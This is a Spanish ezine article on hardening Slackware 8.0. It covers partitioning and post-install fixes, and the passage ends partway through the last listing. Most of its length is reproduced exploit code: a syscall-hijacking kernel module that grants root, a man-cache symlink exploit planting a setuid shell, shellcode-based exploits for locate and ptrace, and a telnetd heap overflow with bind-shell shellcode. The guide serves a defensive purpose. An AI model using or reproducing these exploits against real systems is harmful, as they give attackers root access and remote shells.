Copy Link
Add to Bookmark
Report

4x03: Hardening Slackware

eZine's profile picture
Published in 
0ri0n Team Venezuela
 · 1 month ago

-[ 4x03.txt ]---------------------------------------------------------------- 
-[ Hardening Slackware ]---------------------------------------------[ pof ]-
----------------------------------------------------------[ pau@eSlack.org ]-

0.- Indice
----------

1.- Introduccion
2.- Particiones
3.- Correcciones post-instalacion
3.1- Problema con la umask por defecto en kernels < 2.4.6
3.1.2.- Problema de permisos en mods245.tgz
3.2- Vulnerabilidad en 'man' de Slackware
3.3.- Vulnerabilidad en GNU locate
3.4.- Vulnerabilidad en Linux Ptrace/Setuid Exec
3.5.- Vulnerabilidad en netkit-0.17 telnetd daemon
3.6.- Vulnerabilidad en sendmail de Slackware
4.- Montar BIND chrooted y setuid
5.- Sendmail
5.1- SMRSH: Restricted Shell for Sendmail
5.2- Ajustes de configuracion
n-1.- Otros documentos
n.- Licencia

Por hacer:
----------
- Securizacion de Apache
- Cambio de permisos por defecto
- ...


1.- Introduccion
================

Este documento intenta ser una guia basica de securizacion de un sistema
basado en Slackware 8.0.

Considero que el documento todavia no esta acabado y falta mucho por hacer,
si quieres ver si hay una version nueva, la URL "oficial" del documento es
la siguiente: http://pof.eSlack.org/hardening-slack/HARDENING_SLACKWARE.txt


2.- Particiones
===============

Que tienen que ver las particiones con la seguridad de un sistema? Ahora
veremos que particionar correctamente el disco duro puede ahorrarnos un
posterior dolor de cabeza.

Muchas veces habras oido que para instalar linux hay que usar dos
particiones, una para el sistema y otra para la swap, pero esto no tiene
por que ser asi, tambien puedes utilizar mas particiones. Imagina que un
usuario malicioso te llena el directorio /tmp, si tienes el sistema entero
en la misma particion habra conseguido dejarte sin espacio con las
consecuencias que esto trae (no se podran guardar los logs del sistema por
ejemplo!).

Veamos que directorios cuelgan de la raiz / en una instalacion de
Slackware:


pau@w0:ñ$ ls -l /
total 1434
drwxr-xr-x 2 root bin 1920 Aug 16 1994 bin/
drwxr-xr-x 2 root root 472 Dec 14 05:17 boot/
drwxr-xr-x 2 root root 48 Oct 6 1997 cdrom/
drwxr-xr-x 10 root root 47464 Dec 15 19:39 dev/
drwxr-xr-x 12 root root 2904 Dec 15 21:34 etc/
drwxr-xr-x 23 root root 576 Feb 25 2001 home/
drwxr-xr-x 3 root root 2392 Dec 8 23:36 lib/
drwxr-xr-x 2 root root 48 Oct 6 1997 mnt/
drwxr-xr-x 4 root root 96 Sep 20 02:49 opt/
dr-xr-xr-x 78 root root 0 Dec 15 20:38 proc/
drwx--x--- 12 root root 656 Dec 14 22:21 root/
drwxr-xr-x 2 root bin 2896 Nov 22 22:04 sbin/
drwxrwxrwt 16 root root 1600 Dec 15 23:33 tmp/
drwxr-xr-x 20 root root 592 Dec 2 02:16 usr/
drwxr-xr-x 15 root root 432 Dec 2 1995 var/
-rw-r--r-- 1 root root 1396901 Oct 28 02:16 vmlinuz
pau@w0:ñ$


Bien, ahora pasemos a analizar cuales son los directorios que se podrian
llenar facilmente, y estos seran los que posteriormente separaremos en
particiones.

No podemos separar algunos directorios de la raiz, por ejemplo el /etc
debe estar ahi ya que contiene ficheros necesarios en el arranque como el
/etc/fstab para saber que particiones se van a montar posteriormente o el
/etc/inittab que nos indica donde estan los scripts rc.* que se ejecutan
en el arranque.

Los directorios que contienen los binarios basicos del sistema son el /bin
y el /sbin, estos tampoco los podemos separar ya que si lo hicieramos no
tendriamos acceso a muchos de los comandos que se ejecutan en el arranque,
como por ejemplo el comando 'mount' que es llamado desde los rc's para
montar las particiones.

El /lib contiene librerias dinamicas con las cuales se enlazan muchos de
los binarios que hay en /sbin o en /bin, por tanto tampoco podremos
separarlo de la raiz (a no ser que hayamos recompilado estaticamente todos
los binarios que se utilizan durante el arranque).

El /dev es otro directorio que no podemos separar ya que en el se
encuentran los dispositivos que utilizamos en el arranque (las otras
particiones son ficheros dentro de /dev).

El /proc es un sistema de ficheros virtual, que no ocupa espacio y por
tanto tampoco tiene sentido separarlo de la particion raiz.

Hasta aqui hemos visto todo lo que tiene que colgar de la /, si os fijais
todos son directorios a los cuales solo tiene acceso de escritura el root,
por tanto no hay peligro de que se "llenen" si dejamos suficiente espacio
para la raiz cuando particionamos, ya que raramente van a aumentar su
tamaño una vez instalado el sistema.

El directorio /mnt o el /cdrom suelen estar vacios, ya que se usan como
punto de montaje para otros dispositivos, por lo tanto no hace falta
tampoco separarlos de la raiz.

En el directoio /boot almacenamos los kernels binarios que recompilamos,
que generalmente no ocupan mas de 600k. El /boot puede estar en la raiz o
puede estar en una particion separada, aunque como los usuarios no tienen
acceso de escritura en el lo podemos dejar tranquilamente en la raiz.

El resto de directorios los podemos separar en particiones. Hay que tener
en cuenta que solo podemos hacer 4 particiones primarias, y si queremos
hacer mas tendremos que crear una particion extendida y hacer particiones
logicas dentro de esa partcion.

En el directorio /home se guardan los HOMEs de los usuarios, o la raiz del
servidor ftp (/home/ftp/) y suele ser el que mas crece de todos, por ello
deberemos montarlo sobre una particion bastante grande en funcion del
espacio que dispongamos en nuestro disco duro.

El directorio /usr es un caso un poco especial, sobre el se instalan la
mayoria de programas y aplicaciones que instalamos en forma de paquete, y
contiene el directorio /usr/local en el que se instalan los programas que
compilamos en la maquina local, por tanto es bueno crear una particion
para /usr y otra para /usr/local, aunque lo podemos dejar todo en una si
no queremos hacer tantas particiones. En principio no es peligroso ya que
los usuarios no tienen acceso de escritura sobre el ni ninguno de sus
subdirectorios.

El directorio /opt se reserva para software 'opcional', en Slackware se
instalan las series de paquetes de KDE y GNOME sobre este directorio, y
tambien es posible que nos encontremos con alguna otra aplicacion que se
instale ahi y no forme parte de Slackware (por ejemplo StarOffice o JDK de
IBM). Podemos hacerle una particion a parte o por ejemplo usar la misma que
hemos hecho para el /usr linkando el /opt a /usr/opt.

El directorio /var es un directorio que puede variar muy facilmente de
tamaño. El mail de los usuarios esta almacenado ahi, tambien los logs del
sistema o la cola de impresion, por tanto debemos dejar tambien una
cantidad de espacio considerable a la particion que dediquemos a /var. Hay
que ir con cuidado por que se podria llenar rapidamente ya que los usuarios
pueden escribir en el de forma directa (/var/tmp) o incluso llegar a
llenarlo sin tener acceso shell a la maquina (correo, logs, etc...).

El directorio /tmp debe estar tambien en una particion separada, ya que
cualquier usuario puede llenarlo facilmente al tener permisos de escritura
sobre el.

Y por ultimo, el directorio /root por que es conveniente montarlo en una
particion separda? Imaginemos (*dios no lo quiera*) que alguien consigue
ilegalmente acceso de root a la maquina. Si solo montamos la particion de
/root cuando el root entra en el sistema y la desmontamos cuando el root
sale, el atacante se encontrara el directorio del root vacio y no le dara
mas importancia. Evidentemente si es root podra montarlo, pero antes se le
tiene que ocurrir que el directorio no esta montado. Si ponemos la
particion de root la ultima, es dificil que el atacante se de cuenta si no
hace un fdisk.

Para ver un poco mas claro, pongo como ejemplo la forma en que tengo
montadas las particiones en mi maquina:

pau@s0:/$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/hda1 191M 74M 117M 39% /
/dev/hda2 2.8G 796M 2.0G 28% /usr
/dev/hda4 31G 20G 11G 63% /home
/dev/hda5 2.8G 519M 2.2G 19% /var
/dev/hda7 289M 40M 249M 14% /tmp
/dev/hda8 289M 148M 141M 51% /root

pau@s0:/$ cat /etc/fstab
/dev/hda6 swap swap defaults 0 0
/dev/hda1 / reiserfs defaults 1 1
/dev/hda2 /usr reiserfs defaults 1 1
/dev/hda4 /home reiserfs defaults,usrquota 1 1
/dev/hda5 /var reiserfs defaults,usrquota 1 1
/dev/hda7 /tmp reiserfs defaults,usrquota 1 1
noe /dev/pts devpts gid=5,mode=620 0 0
none /proc proc defaults 0 0
pau@s0:/$


Fijate que las particiones en las que los usuarios pueden escribir tienen
el parametro 'usrquota' en el fstab, asi puedo asignar una quota maxima de
espacio en cada particion para cada usuario evitando que la particion se
llene.

Otra cosa a tener en cuenta es que la particion del root (/dev/hda8) no
aparece en el fstab, ya que solo la monto cuando me logueo como root.


3.- Correcciones post-instalacion
=================================

Hay varios problemas de seguridad en la instalacion por defecto de
Slackware 8 'out of the box' como se suele decir. Ahora paso a nombrar los
fallos conocidos hasta el momento de escribir este documento y la forma de
solucionarlos.


3.1.- Problema con la umask por defecto en kernels < 2.4.6
-----------------------------------------------------------

La umask es la mascara de permisos para la creacion de ficheros. Con el
comando umask podemos variar los permisos con los que por defecto se
crearan los nuevos ficheros.

Slackware 8 viene con la posibilidad de instalar sobre 2.2.19 o 2.4.5, si
instalamos 2.2.19 no estaremos afectados, pero si instalamos 2.4.5 si.

El problema aparece en los kernels inferiores a 2.4.6 donde no esta
establecido el valor de la umask por defecto y se toma como valor 0000.

Como en los scripts de arranque no se setea la umask se asume la que pone
el kernel por lo que los ficheros creados A PARTIR DEL PRIMER ARRANQUE
tienen permisos 777 (lectura, escritura y ejecucion para todo el mundo).

Si ya tienes instalada tu slackware comprueba los permisos de los ficheros
que se crean despues del arranque:

# find / -type f -perm 777 2>/dev/null

Veras que tienes mal los permisos de ficheros creados dentro de /var/run o
el /etc/random-seed, etc...

Para solucionar el problema hay que linkar el /sbin/initscript-sample a
/sbin/initscript o setear la umask en el /etc/rc.d/rc.S.


Submitted by : Josh (josh@pulltheplug.com), lockdown
(lockdown@lockeddown.net) on July 16th, 2001
Vulnerability : /lib/modules/2.4.5/modules.dep
Tested On : Slackware 8.0. 2.4.5
Local : Yes
Remote : No
Temporary Fix : umask 022 at the top of all your startup scripts
Target : root
Big thanks to : slider, lamagra, zen-parse
Greets to : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,
cryptix, s0ttle, xphantom, qtip, tirancy, Loki,
falcon-networks.com.

The 2.4.x kernels starting with 2.4.3 (i think) have, after
load, left a umask of 0000. This forces any files created in the bootup
scripts, without the command `umask 022` issued to be world writeable.
In slackware, files include /var/run/utmp and /var/run/gpm.pid. This same
vulnerability is responsible for creating /lib/modules/`uname -r`/modules.dep
world writeable. With this file world writeable, all an intruder need do is
put something like the following in /lib/modules/`uname -r`/modules.dep
assuming the system's startup scripts modprobe lp:

/lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/alarm.o

/tmp/alarm.o:

where the alarm.o module is:

[++] c0de/alarm.c

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <asm/segment.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>

#include <linux/sched.h>

#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/kernel.h>

extern void* sys_call_table[];

unsigned int (*old_alarm) (unsigned int seconds);
unsigned int hacked_alarm (unsigned int seconds);

unsigned int hacked_alarm(unsigned int seconds)
{
if(seconds == 454) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
return old_alarm(seconds);
}

int init_module(void) {
old_alarm=sys_call_table[SYS_alarm];
sys_call_table[SYS_alarm] = hacked_alarm;
return 0;
}

[--]


Client:

[++] c0de/uclient.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
alarm(454);
execl("/bin/sh", "sh", NULL);
}

[--]

which will, when the module is loaded, execute a shell as root.


And of course with /var/run/utmp writeable, users can delete or in
other ways manipulate their logins as they appear in
w/who/finger/getlogin(), etc.


3.1.2.- Problema de permisos en mods245.tgz
-------------------------------------------

Debido al bug de la umask, el paquete mods245.tgz de la serie a1 en
Slackware 8 que contiene los modulos del kernel 2.4.5 tiene varios
ficheros con permisos de escritura para todo el mundo.

Para solucionarlo basta con ejecutar el siguiente comando:

# chmod 644 /lib/modules/2.4.5/modules.*


3.2- Vulnerabilidad en 'man' de Slackware
-----------------------------------------

Slackware 8.0 tienen los permisos de /var/man/cat* puestos a 1777, esto
permite a un usuario local crear ficheros en el directorio usado para el
cache de las paginas man formateadas. Es posible que un usuario cree un
fichero de cache que contenga codigo malicioso causando la ejecucion de
codigo arbitrario cuando otro usuario (o el root!) vea la pagina man
correspondiente al fichero de cache.

Los directorios /var/man/cat* se utilizan para guardar una copia de las
paginas man correctamente formateadas una vez se ha visualizado por
primera vez, asi si se vuelve a hacer un man del mismo comando no habra
que formatearlas de nuevo.

Esto tenia sentido hace años, cuando formatear una pagina man en un 386
tardaba un minuto, pero con los procesadores que utilizamos ahora se puede
omitir la cache de las paginas man formateadas.

Para solucionar el problema basta con cambiar los permisos de los
directorios /var/man/cat* para que los usuarios no puedan escribir en el
directorio de la cache.

Exploit incluido:


Submitted by : Josh (josh@pulltheplug.com), lockdown (lockdown@lockeddown.net)
zen-parse (zen-parse@gmx.net)
Vulnerability : /usr/bin/man
Tested On : Slackware 8.0 and before.
Local : Yes
Remote : No
Temporary Fix : chmod 700 /var/man/cat*
Target : root or any other user that uses man
Greets to : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,
slider, cryptix, s0ttle, xphantom, qtip, Sultrix, Defiance,
Insane, rusko, falcon-networks.com.
See also : http://www.securityfocus.com/vdb/?id=2815


Slackware 8.0 and previous issues of Slackware are released with
/var/man/cat*/ chmod 1777:

drwxrwxrwt 2 root root 4096 Jul 11 11:03 cat*/

Since these directories are world writeable we can create symlinks there
like so:

`ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.
;script;man.7"
/var/man/cat7/man.7.gz`

When `/usr/bin/man man` is executed by root, it will create
/var/man/cat7/man.1.gz. The symlink forces it to create a file in
/usr/man/man7 named:
"/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;exportPATH=.;
script;man.7.gz."

/usr/bin/man will then execute /tmp/script which contains:

[++] c0de/script.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>

int main()
{
FILE *fil;
mode_t perm = 06711;

if(!getuid()) {
fil = fopen("/tmp/bleh.c","w");
fprintf(fil,"%s\n","#include <unistd.h>");
fprintf(fil,"%s\n","#include <stdio.h>");
fprintf(fil,"%s\n","int main() {");
fprintf(fil,"%s\n","setreuid(0,0);setregid(0,0);");
fprintf(fil,"%s\n","execl(\"/bin/su\",\"su\",NULL);");
fprintf(fil,"%s\n","return 0; }");
fclose(fil);
system("/usr/bin/gcc -o /tmp/bleh /tmp/bleh.c");
unlink("/tmp/bleh.c");
chmod("/tmp/bleh", perm);
}
execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL);
return 0;
}

[--]


With the above code compiled in /tmp/script, if root were to run `man man`, a
suid shell would be left in /tmp/bleh.

--- cut here ---


3.3.- Vulnerabilidad en GNU locate
----------------------------------

Una vulnerabilidad en GNU locate permite a un atacante forzar la ejecucion
de codigo arbitrario cuando un usuario utilice el comando locate, incluido
en el paquete findutils.tgz de Slackware 8.

Para solucionar el problema instalar slocate y eliminar el crontab del
usuario nobody.

Ver: http://www.geekreview.org/slocate


Exploit incluido:

--- cut here ---

Submitted by : Josh (josh@viper.falcon-networks.com), lockdown
(lockdown@lockeddown.net), zen-parse (zen-parse@gmx.net)
Vulnerability : /usr/bin/locate (findutils-4.1 and before)
Tested On : Slackware 8.0, Slackware 7.1
Local : Yes
Remote : No
Fix : Update to slocate
Target : root or any other user that runs locate
Requires : UID nobody
Greets to : alpha, fr3n3tic, omega, eazyass, Remmy, RedPen, banned-it,
slider, cryptix, s0ttle, xphantom, qtip, tirancy,
Defiance, KraZee, synexic, Insane, rusko,
falcon-networks.com, mp3.com/cosv.
Other Stuff : We all (individually) need jobs. E-mail the contact
people with [WE HAVE A JOB FOR YOU] in the subject.

In slackware, and possibly other distributions, it is possible to
modify the locate database if one were to obtain UID nobody. This allows
locate to act as a sort of 'trojan' having anyone who executes it
unknowingly execute potentially malicious code.

It works by taking advantage of the fact locate accepts old
format databases. LOCATEDB_OLD_ESCAPE (char 30) is followed by an offset,
stored in a signed integer, for how many characters to add to the current
character pointer in the path. It doesn't perform any sanity checking of
the input. This exploit tells it to move the pointer back a long way,
back past the beginning of the string, all the way to the GOT address for
exit() which then gets the address of the shellcode added, and the
program then runs out of database and executes our code.
There is also probably a similar vulnerability in the new format.

P.S. dies: If you see this e-mail josh@viper.falcon-networks.com


[++] c0de/slocale.c

#include <stdio.h>

char shellcode[] =
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80"
"\xe8\xe3\xff\xff\xff/tmp/xx";
char putshell[] =
"\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96";

int main(void)
{
int i;
int z0=0; int addr=0x0804a970;
int z1=0; int addr2=-626;
int z2=0; int addr3=addr+6;
printf("%s", &addr);
printf("%s", &addr3);
printf("%s",shellcode);
fflush(stdout);
for(i=46;i<256;i++) putchar('A');
printf("%s", putshell);
fflush(stdout);
putchar(0);
putchar(30);
printf("%s", &addr2);
printf("\x82\x83");
fflush(stdout);
}


[--]

--- cut here ---


3.4.- Vulnerabilidad en Linux Ptrace/Setuid Exec
------------------------------------------------

Rafal Wojtczuk encontro dos vulnerabilidades presentes en versiones
anteriores a la 2.2.19 (incluida) y 2.4.9 (incluida) mediante las cuales
es posible obtener privilegios de root.

Slackware 8 viene con kernel 2.2.19 y kernel 2.4.5 que son vulnerables a
este fallo.

Para solucionar el problema basta con actualizar el kernel a la version
2.2.20 o 2.4.12.

Exploit incluido:

--- cut here (ptrace-exp.c) ---

[++] c0de/ptrace-exp.c

/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
char z;
if (read(fd, &z, 1) <= 0) {
perror("read:");
exit(1);
}
execl("/usr/bin/passwd", "passwd", 0);
perror("execl");
exit(1);
}
void insert(int pid)
{
char buf[100];
char *ptr = buf;
sprintf(buf, "exec ./insert_shellcode %i\n", pid);
while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}


main(int argc, char **argv)
{
int res, fifo;
int status;
int pid, n;
int pipa[2];
char buf[1024];
pipe(pipa);
switch (pid = fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
ex_passwd(pipa[0]);
default:;
}


res = ptrace(PTRACE_ATTACH, pid, 0, 0);
if (res) {
perror("attach");
exit(1);
}
res = waitpid(-1, &status, 0);
if (res == -1) {
perror("waitpid");
exit(1);
}
res = ptrace(PTRACE_CONT, pid, 0, 0);
if (res) {
perror("cont");
exit(1);
}
fprintf(stderr, "attached\n");
switch (fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
sleep(1);
insert(pid);
do {
n = read(pipa[0], buf, sizeof(buf));
} while (n > 0);
if (n < 0)
perror("read");
exit(0);
default:;
}
close(pipa[0]);

dup2(pipa[1], 2);
close(pipa[1]);
/* Decrystallizing reason */
setenv("LD_DEBUG", "libs", 1);
/* With strength I burn */
execl("/usr/bin/newgrp", "newgrp", 0);
}
[--]

--- cut here ---

--- cut here (insert_shellcode.c) ---

[++] c0de/insert_shellcode.c

/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
/* spiritual black dimension */

char hellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define ADDR 0x00125000
main(int argc, char **argv)
{
int status;
int i, wpid, pid = atoi(argv[1]);
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) {
perror("PTRACE_GETREGS");
exit(0);
}
regs.eip = ADDR;
if (ptrace(PTRACE_SETREGS, pid, 0, &regs))
exit(0);
for (i = 0; i <= strlen(hellcode) + 5; i += 4)
ptrace(PTRACE_POKETEXT, pid, ADDR + i,
*(unsigned int *) (hellcode + i));
// kill (pid, SIGSTOP);
if (ptrace(PTRACE_DETACH, pid, 0, 0))
exit(0);
close(2);
do {
wpid = waitpid(-1, &status, 0);
if (wpid == -1) {
perror("waitpid");
exit(1);
}
} while (wpid != pid);
}

[--]

--- cut here ---

Para explotar la vulnerabilidad del kernel se necesita un binario setuid
root que ejecute un binario definido por el usuario (o una shell). El
exploit utiliza /usr/bin/newgrp que funciona en la mayoria de
distribuciones, pero en Slackware los campos de passwords de /etc/group
estan vacios y newgrp pide un password.

Para explotar la vulnerabilidad en Slackware se puede usar el comando 'su',
ya que esta compilado sin soporte PAM y ejecuta una shell de usuario.


3.5.- Vulnerabilidad en netkit-0.17 telnetd daemon
--------------------------------------------------

El demonio de telnet netkit-0.17 que usa Slackware contiene un
desbordamiento de buffer que puede ser explotado de forma remota para
conseguir acceso de root.

Estan disponibles los paquetes actualizados para Slackware 8.0 y 7.1 en:

ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/tcpip1.tgz
ftp.slackware.com/pub/slackware/slackware-8.0/patches/patches/telnetd.tgz
ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/tcpip1.tgz
ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/telnetd.tgz

Exploit incluido:

--- cut here (zp-exp-telnetd.c) ---

[++] c0de/zp-exp-telnetd.c

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>

/*********************************************************************
Proof of concept netkit-0.17-7 local root exploit.

Exploits buffer overflow in the AYT handling of in.telnetd,
due to bad logic in the handling of snprintf(), and

TESO advisory details were enough to allow me to put
controlable addresses in arbitary heap locations.

Heap based exploit. Overflow allows rewriting of some heap
data, which allowed me to put a new heap structure in the
input buffer, which let me do whatever I want.

'traceroute exploit story - By Dvorak, Synnergy Networks' was very
helpful. Also malloc.c was good.

*********************************************************************/
/*
Notes about exploit

1) RedHat 7.0, exploiting localhost
2) hostname is clarity.local
3) It probably won't work without at least a different setting for
the --size option, and probably the --name option as well. The
--name arguemnt is the hostname part of the string that gets
returned by the AYT command, which may be different to the name
of the address you are connecting to..
4) There are a lot of things that use the heap, making the size
depend on alot of factors.

5) You will might need to change some (or all) of the offsets.
This program does allow you to brute force, if the hostname returned
by the AYT command is not a multiple of 3 letters long.

It is also possibly (at least according to some quick testing I did)
exploitable on some (all?) servers with names that are multiples of three
letters long, using the Abort Output command to add 2 characters to the
output length, and exploit the heap in a similar manner to this method.

(You can only directly put user controlable characters in 2 out of 3
locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO
will give you 2 more than a multiple of 3 bytes) with controllable
characters, but when you count the null added by the netoprintf(), and use
0 as an option to a do or will, you can sometimes create valid chunks that
point to locations you can control. I have only tested this method with a
simulation, but it seems it would probably work with the telnetd as well.
I will look into it when I have time. Maybe.)


. . _ _ _ _ . . _ _ _ . .
|_ _|_ _|_ _ . / / |\/| |_| _| | | ||\/| / | | ||_ | |
| | | | |_|. / / | | | _|.|_ |_|| | / |_ |_| _| \/
|
*********************************************************************/


#define SERVER_PORT 23
#define ENV 18628

int offset12[] = {
// netibuf[343]->the chunk start.
-4, 0xaa,
-5, 0xbb,
-6, 0xcc,
-7, 0x10,
-9, 0xdd,
-10, 0x68,
-12, 0xee,
-13, 0x88,
-14, 0x99,
0, 0x00
};

int offset3[]={
-1,0x00,
0,0
};

int *offsets=offset12;


int dalen = 0;
int big;
int small;
int mipl = 0;
int ninbufoffset;
char spinchars[] = "/|\\-";

char tosend[] = {
0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20,
0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
0xff, 0xfb, 0x23, 0
};

char lamagra_bind_code[] =
// the NOPs are my part... to jump over the modified places,
// without me having to take a look to see where they are.
// Modified to listen on 7465 == TAGS and work thru TELNET protocol.
"\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
"\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
"\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
"\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
"\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
"\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3"
"\xff\xff\xff\xff\xff\xff/bin/sh";

char *shellcode = lamagra_bind_code;

int sock; /* fd for socket connection */
FILE *dasock; /* for doing fprint et al */
struct sockaddr_in server; /* the server end of the socket */
struct hostent *hp; /* Return value from gethostbyname() */
char buf[40960]; /* Received data buffer */
char sock_buf[64 * 1024]; /* Received data buffer */

char daenv[10000];
char oldenv[10000];

extern int errno;
read_sock ()
{
/* Prepare our buffer for a read and then read. */
bzero (buf, sizeof (buf));
if (read (sock, buf, sizeof (buf)) < 0)
if (errno != 11)
{
perror ("! Socket read");
exit (1);
}
}

sock_setup ()
{
int flags;
int yes = 1;
if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("! Error making the socket\n");
exit (1);
}
bzero ((char *) &server, sizeof (server));
server.sin_family = AF_INET;
if ((hp = gethostbyname ("localhost")) == NULL)
{
fprintf (stderr, "! localhost unknown??\n");
exit (1);
}
bcopy (hp->h_addr, &server.sin_addr, hp->h_length);
server.sin_port = htons ((u_short) SERVER_PORT);

/* Try to connect */
if (connect (sock, (struct sockaddr *) &server, sizeof (server)) < 0)
{
perror ("! Error connecting\n");
exit (1);
}

dasock = (FILE *) fdopen (sock, "w+");
if (!dasock)
{
perror ("! Bad fdopen happened");
exit (1);
}

/****************************************
Thanks to xphantom for the next 4 lines.
(which i don't need anymore ;? )

flags = fcntl(sock, F_GETFL, 0);
flags |= O_NONBLOCK;
fcntl(sock, F_SETFL, flags);
if (setsockopt(sock, SOL_SOCKET, SO_OOBINLINE, &yes,sizeof(yes)) == -1) {
perror("setsockopt");
exit(1);
}
*****************************************/


setbuffer (dasock, sock_buf, 64 * 1024);

}

do_iac (char c)
{
putc (0xff, dasock);
putc (c, dasock);
}

do_ayt ()
{
do_iac (0xf6); // sets buffer length to 2
}

doo (char c)
{
putc (255, dasock);
putc (253, dasock);
putc (c, dasock);
}
will (char c)
{
putc (255, dasock);
putc (251, dasock);
putc (c, dasock);
}
wont (char c)
{
putc (255, dasock);
putc (252, dasock);
putc (c, dasock);
}

void
solve (int remain)
{
int x, y;
big = -100;
small = -100;
for (x = 0; x < 120; x++)
for (y = 2; y < 80; y++)
{
if (((y * 3) + (x * dalen)) == remain)
{
big = x;
small = y;
return;
}
}
fprintf (stderr, "I still can't work it out.\n\n");
exit (1);
}

push_clean ()
{
int l;
for (l = 0; l < 8192; l++)
putc (0, dasock);
}

push_heap_attack ()
{
int l;
int shaddr = 0x805c970;
int overwrite = 0x08051e78; // fopen
int tosend[] = {
0x805670eb,
0x8,
shaddr,
shaddr,
0x0,
0x0,
overwrite - 12,
shaddr
};
fwrite (shellcode, strlen (shellcode), 1, dasock);
for (l = strlen (shellcode); l < 289 + ninbufoffset; l++)
putc (0, dasock);
fwrite (tosend, 8, 4, dasock);
fflush (dasock);
}

fill2 (int count, char with, int real)
{
int l;
int first, rest, find;

first = (int) (count / dalen) - 10;
rest = (int) (((count) % dalen) / 3) * 3;
find = count - ((first * dalen) + (rest * 3));
solve (find);
first += big;
rest += small;
for (l = 0; l < first; l++)
do_ayt ();
for (l = 0; l < rest; l++)
will (with);
if (real == 1)
{
push_clean ();
}
}

fill (int count, char with)
{
fprintf (stderr, " o Length %d char %d (%02x)\n",
count, with & 0xff, with & 0xff);
fflush (stderr);
fill2 (8257, 'z', 0); // first part
fill2 (count - 8257, with, 1); // do it for real
}

doenv (char *danam, char *daval)
{
sprintf (daenv, "%c%c%c%c%c%s%c%s%c%c",
/* IAC SB N-E IS VAR name VAL value IAC SE */
255, 250, 39, 0, 0, danam, 1, daval, 255, 240);

fwrite (daenv, 512, 1, dasock);
fflush (dasock);
}

main (int argc, char *argv[])
{
int br, l, dosleep = 0;
